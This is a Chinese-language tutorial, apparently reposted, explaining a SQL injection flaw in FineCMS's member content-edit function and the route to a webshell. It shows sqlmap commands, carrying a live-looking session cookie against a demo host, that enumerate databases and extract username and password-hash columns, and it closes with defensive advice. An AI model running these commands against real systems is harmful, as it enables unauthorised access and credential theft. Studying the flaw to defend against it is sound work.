[【原创】] FineCMS的注入和getshell1
### FineCMS注入与GetShell详解 #### 一、概述 FineCMS是一款基于PHP语言开发的内容管理系统(Content Management System, CMS),广泛应用于网站搭建和管理。本文将深入探讨在FineCMS中存在的SQL注入漏洞及其利用方法,最终实现获取WebShell的过程。通过实际案例分析,帮助读者了解SQL注入攻击的基本原理和技术细节。 #### 二、SQL注入原理简介 SQL注入攻击是通过恶意构造SQL语句来获取数据库中的敏感信息或执行非授权操作的一种攻击方式。在Web应用中,如果开发者没有对用户提交的数据进行有效过滤和验证,就有可能导致SQL注入漏洞的发生。 #### 三、案例分析 ##### 1. 漏洞发现 漏洞存在于`finecms\controllers\member\ContentController.php`文件中的`editAction()`函数。具体来说,当执行该函数时,其中有一行代码 `$id= $this->get('id');` 这里直接将用户提交的参数`$id`拼接到SQL查询语句中,而未经过任何过滤处理。这为攻击者提供了注入恶意SQL语句的机会。 ##### 2. 攻击步骤 - **注册账户并发表文章**:攻击者需要注册一个用户账号,并发布一篇文章。这样可以在后续步骤中触发漏洞。 - **抓包分析**:使用工具如Live HTTP Replay等抓取编辑文章时的数据包,获取必要的Cookie信息。 - **使用SQLMap进行测试**:SQLMap是一款强大的自动化SQL注入工具,可以自动检测并利用SQL注入漏洞。根据给定的URL和Cookie信息,运行SQLMap进行测试,如下所示: ```bash ./sqlmap.py -u "http://demo.finecms.net/index.php?s=member&c=content&a=edit&id=655" --cookie "PHPSESSID=135qdpqp4e9vm3sda0b3446c13; CNZZDATA4264051=cnzz_eid=96253715-1352780242-&ntime=1352780242&cnzz_a=1&retime=1352782758760&sin=none<ime=1352782758760&rtime=0; finecms_member_id=aToyNDM7" ``` 通过命令确认存在SQL注入漏洞后,可以进一步利用该漏洞。 - **获取数据库信息**:使用SQLMap进一步获取目标数据库的信息,包括数据库名称、表名和字段名等。例如,可以通过以下命令列出所有可用数据库: ```bash ./sqlmap.py -u "http://demo.finecms.net/index.php?s=member&c=content&a=edit&id=655" --cookie "PHPSESSID=135qdpqp4e9vm3sda0b3446c13; CNZZDATA4264051=cnzz_eid=96253715-1352780242-&ntime=1352780242&cnzz_a=1&retime=1352782758760&sin=none<ime=1352782758760&rtime=0; finecms_member_id=aToyNDM7" –dbs ``` 接着选择一个具体的数据库,并列出其中的所有表名: ```bash ./sqlmap.py -u "http://demo.finecms.net/index.php?s=member&c=content&a=edit&id=655" --cookie "PHPSESSID=135qdpqp4e9vm3sda0b3446c13; CNZZDATA4264051=cnzz_eid=96253715-1352780242-&ntime=1352780242&cnzz_a=1&retime=1352782758760&sin=none<ime=1352782758760&rtime=0; finecms_member_id=aToyNDM7" --tables -D "dayrui" ``` - **获取敏感数据**:一旦找到包含有用信息的表(如`demo_user`),可以进一步提取其内容。例如,可以使用如下命令获取`demo_user`表中的用户名和密码散列值: ```bash ./sqlmap.py -u "http://demo.finecms.net/index.php?s=member&c=content&a=edit&id=655" --cookie "PHPSESSID=135qdpqp4e9vm3sda0b3446c13; CNZZDATA4264051=cnzz_eid=96253715-1352780242-&ntime=1352780242&cnzz_a=1&retime=1352782758760&sin=none<ime=1352782758760&rtime=0; finecms_member_id=aToyNDM7" --columns -D "dayrui" -T "demo_user" -C "username,password" ``` ##### 3. GetShell技术 成功获取敏感数据后,攻击者可能还需要进一步获取对服务器的控制权限。此时,可以考虑利用已知的漏洞或者尝试上传WebShell。在某些情况下,可以通过SQL注入直接执行系统命令,从而获得对服务器的完全控制。 - **利用漏洞上传WebShell**:如果发现系统中存在其他漏洞(如文件上传漏洞),则可以直接利用这些漏洞上传WebShell。 - **利用SQL注入执行系统命令**:如果能够控制SQL查询语句,则可以尝试使用MySQL内置函数`LOAD_FILE()`或`INTO OUTFILE`等方法,将包含WebShell的文件写入服务器上的某个位置。 #### 四、防御措施 为了防止类似的安全事件发生,开发人员和运维人员应采取以下措施: - **输入验证**:对用户提交的所有数据进行严格的验证和过滤,避免直接拼接SQL语句。 - **参数化查询**:使用预编译语句(如PDO或MySQLi扩展)代替字符串拼接,提高SQL查询的安全性。 - **限制后台账户权限**:对于数据库账户,仅授予最小必要的权限,减少潜在风险。 - **定期安全审计**:定期进行安全评估和渗透测试,及时发现并修复安全漏洞。 通过以上详细分析,我们不仅了解到如何利用SQL注入漏洞,更重要的是,从中汲取教训,加强系统的安全性,避免成为黑客的目标。
- 粉丝: 28
- 资源: 308
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助